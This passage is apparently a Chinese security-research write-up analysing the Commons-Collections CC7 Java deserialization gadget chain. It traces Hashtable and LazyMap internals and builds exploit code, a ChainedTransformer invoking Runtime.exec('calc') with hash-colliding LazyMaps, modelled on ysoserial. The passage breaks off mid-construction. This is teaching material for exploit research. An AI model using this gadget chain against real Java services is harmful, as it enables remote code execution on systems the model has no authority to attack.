// Read the number of elements and then all the key/value objects for (; elements > 0; elements--) { @SuppressWarnings("unchecked") K key = (K)s.readObject(); @SuppressWarnings("unchecked") V value = (V)s.readObject(); // synch could be eliminated for performance reconstitutionPut(table, key, value); }
privatevoidreconstitutionPut(Entry<?,?>[] tab, K key, V value) throws StreamCorruptedException { if (value == null) { thrownew java.io.StreamCorruptedException(); } // Makes sure the key is not already in the hashtable. // This should not happen in deserialized version. int hash = key.hashCode(); int index = (hash & 0x7FFFFFFF) % tab.length; for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { thrownew java.io.StreamCorruptedException(); } } // Creates the new entry. @SuppressWarnings("unchecked") Entry<K,V> e = (Entry<K,V>)tab[index]; tab[index] = new Entry<>(hash, key, value, e); count++; }
publicbooleanequals(Object o){ if (o == this) returntrue;
if (!(o instanceof Map)) returnfalse; Map<?,?> m = (Map<?,?>) o; if (m.size() != size()) returnfalse;
try { Iterator<Entry<K,V>> i = entrySet().iterator(); while (i.hasNext()) { Entry<K,V> e = i.next(); K key = e.getKey(); V value = e.getValue(); if (value == null) { if (!(m.get(key)==null && m.containsKey(key))) returnfalse; } else { if (!value.equals(m.get(key))) returnfalse; } } } catch (ClassCastException unused) { returnfalse; } catch (NullPointerException unused) { returnfalse; }
returntrue; }
469行
调用了get方法。然后调用 LazyMap.get。后面就还是跟cc1一样了。
1 2 3 4 5 6 7 8 9
public Object get(Object key){ // create value for key if key is not currently in the map if (map.containsKey(key) == false) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
exp编写
还是先复制一下后半段的链子,如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Hashtable<Object, Object> objectObjectHashtable = new Hashtable<>(); objectObjectHashtable.put(decorateLazyMap,"zer0");
但是发现并没有弹计算器
跟进调试put
并没有进入for循环的key.equals,而是直接跳出该循环,进入到 addEntry 方法中
主要原因: tab[index] 的值为null
看一下yso的解决方案
查看yso的代码,发现put了两次
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); lazyMap1.put("yy", 1);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap1 = new HashMap(); Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject Map lazyMap1 = LazyMap.decorate(innerMap1, chainedTransformer); lazyMap1.put("yy", 1);